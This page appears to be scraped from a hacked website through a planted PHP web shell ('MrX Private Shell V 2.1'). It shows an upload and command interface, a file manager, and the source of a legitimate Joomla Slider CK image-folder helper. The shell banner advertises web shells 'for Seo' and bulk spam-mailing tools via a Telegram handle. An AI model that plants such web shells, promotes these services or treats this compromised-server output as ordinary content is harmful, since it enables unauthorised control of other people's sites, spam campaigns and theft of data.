__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @name		Slider CK
 * @package		com_sliderck
 * @copyright	Copyright (C) 2016. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Helper Class.
 */
class SliderckHelpersourceFolder {

	private static $folderLabels = array();

	private static $imagesOrderByLabels = array();

	private static $params;

	/*
	 * Get the items from the source
	 */
	public static function getItems($params, $folder = null) {
		if (empty(self::$params)) {
			self:$params = $params;
		}

		$folder = $folder ? $folder : $params->get('folder', '');
		if (! $folder) {
			return false;
		}

		// encode the folder path, needed if contains an accent
		// $foldern = iconv("UTF-8", "ISO-8859-1//TRANSLIT", urldecode($folder)); // pose probleme !
		$foldern = $folder; // temporary workaround to the line above
		// encode the folder path, needed if contains an accent
		try {
			$translatedDirectory = iconv("UTF-8", "ISO-8859-1//TRANSLIT", urldecode($folder));
			if ($translatedDirectory) $foldern = $translatedDirectory;
		} catch (Exception $e) {
			echo 'Slider CK Message : ',  $e->getMessage(), "\n";
		}
		// $files = JFolder::files(JPATH_SITE . '/' . $foldern, '.png|.jpg|.bmp|.tif|.tiff|.jpeg', false, false);
		$files = JFolder::files(JPATH_SITE . '/' . $foldern, '\.(?:png|jpe?g|bmp|tiff?)$', false, false);
		natsort($files);

		// load the labels from the folder
		self::$imagesOrderByLabels = array();
		self::getImageLabelsFromFolder($foldern);

		// set the images order
		$order = $params->get('order', 'natural');
$order = 'labels';
		if ($order == 'random') {
			shuffle($files);
		} else if($order == 'labels') {
			natsort($files);
			$files = array_map(array(__CLASS__, 'formatPath'), $files);
			$baseDir = self::formatPath($folder);
			$labelsOrder = array_reverse(self::$imagesOrderByLabels);

			foreach ($labelsOrder as $name) {
				if (in_array($name, $files)) array_unshift($files, $name);
			}
			// now make it unique
			$files = array_unique($files);
		} else {
			natsort($files);
		}

		$items = array();

		foreach ($files as $file) {
			// get the data for the image
			$filedata = self::getImageDataFromfolder($file, $foldern);

			$file = str_replace("\\", "/", utf8_encode($file));
			$item = new stdClass();
			$item->path = trim(str_replace('\\', '/', $folder), '/') . '/' . $file;
			$item->link = $filedata->link ? $filedata->link : ($params->get('linkautoimage', '1') && $params->get('lightbox', 'mediabox') != 'none' ? JUri::root(true) . '/' . $item->path : '' );
			$item->title = trim($filedata->title);
			$item->desc = trim($filedata->desc);

			$items[] = $item;
		}
		return $items;
	}

	/*
	 * Load the data for the image (title and description)
	 */
	private static function getImageDataFromfolder($file, $folder) {
		$filename = explode('/', $file);
		$filename = end($filename);
		$dirindex = self::cleanName($folder);
		$fileindex = self::cleanName($filename);

		if (! empty(self::$folderLabels[$dirindex]) && ! empty(self::$folderLabels[$dirindex][$fileindex])) {
			$item = self::$folderLabels[$dirindex][$fileindex];
		} else {
			$item = new stdClass();
			$item->title = null;
			$item->desc = null;
			$item->link = null;
		}

		return $item;
	}

	/*
	 * Load the data for the image (title and description)
	 */
	private static function getImageLabelsFromFolder($folder) {
		$dirindex = self::cleanName($folder);
		if (! empty(self::$folderLabels[$dirindex])) return;

		$items = array();
		$item = new stdClass();

		// get the language
		$lang = JFactory::getLanguage();
		$langtag = $lang->getTag(); // returns fr-FR or en-GB

		// load the image data from txt
		if (file_exists(JPATH_ROOT . '/' . $folder . '/labels.' . $langtag . '.txt')) {
			$data = file_get_contents(JPATH_ROOT . '/' . $folder . '/labels.' . $langtag . '.txt');
		} else if (file_exists(JPATH_ROOT . '/' . $folder . '/labels.txt')) {
			$data = file_get_contents(JPATH_ROOT . '/' . $folder . '/labels.txt');
		} else {
			return null;
		}
		$doUTF8encode = true;
		// remove UTF-8 BOM and normalize line endings
		if (!strcmp("\xEF\xBB\xBF", substr($data,0,3))) {  // file starts with UTF-8 BOM
			$data = substr($data, 3);  // remove UTF-8 BOM
			$doUTF8encode = false;
		}
		$data = str_replace("\r", "\n", $data);  // normalize line endings

		// if no data found, exit
		if(! $data) return null;

		// explode the file into rows
		// $imgdatatmp = explode("\n", $data);
		$imgdatatmp = preg_split("/\r\n|\n|\r/", $data, -1, PREG_SPLIT_NO_EMPTY);

		$parmsnumb = count($imgdatatmp);
		for ($i = 0; $i < $parmsnumb; $i++) {
			$imgdatatmp[$i] = trim($imgdatatmp[$i]);
			$line = explode('|', $imgdatatmp[$i]);
			// store the order or files from the TXT file
			self::$imagesOrderByLabels[] = $line[0];

			$item = new stdClass();

			$item->index = self::cleanName($line[0]);
			// $item->title = (isset($line[1])) ? ( $doUTF8encode ? htmlspecialchars(utf8_encode($line[1])) : ($line[1]) ) : '';
			// $item->desc = (isset($line[2])) ? ( $doUTF8encode ? htmlspecialchars(utf8_encode($line[2])) : ($line[2]) ) : '';
			// $item->link = (isset($line[3])) ? ( $doUTF8encode ? htmlspecialchars(utf8_encode($line[3])) : ($line[3]) ) : '';
			$item->title = (isset($line[1])) ? $line[1] : '';
			$item->desc = (isset($line[2])) ? $line[2] : '';
			$item->link = (isset($line[3])) ? $line[3] : '';

			$items[$item->index] = $item;
		}


		self::$folderLabels[$dirindex] = $items;
	}

	/*
	 * Remove special character
	 */
	private static function cleanName($path) {
		return preg_replace('/[^a-z0-9]/i', '_', $path);
	}

	/*
	 * Format the path to use only /
	 */
	public static function formatPath($p) {
			return trim(str_replace("\\", "/", $p), "/");
	}
}

Filemanager

Name Type Size Permission Actions
folder.php File 5.73 KB 0664
slidesmanager.php File 3.94 KB 0664
Filemanager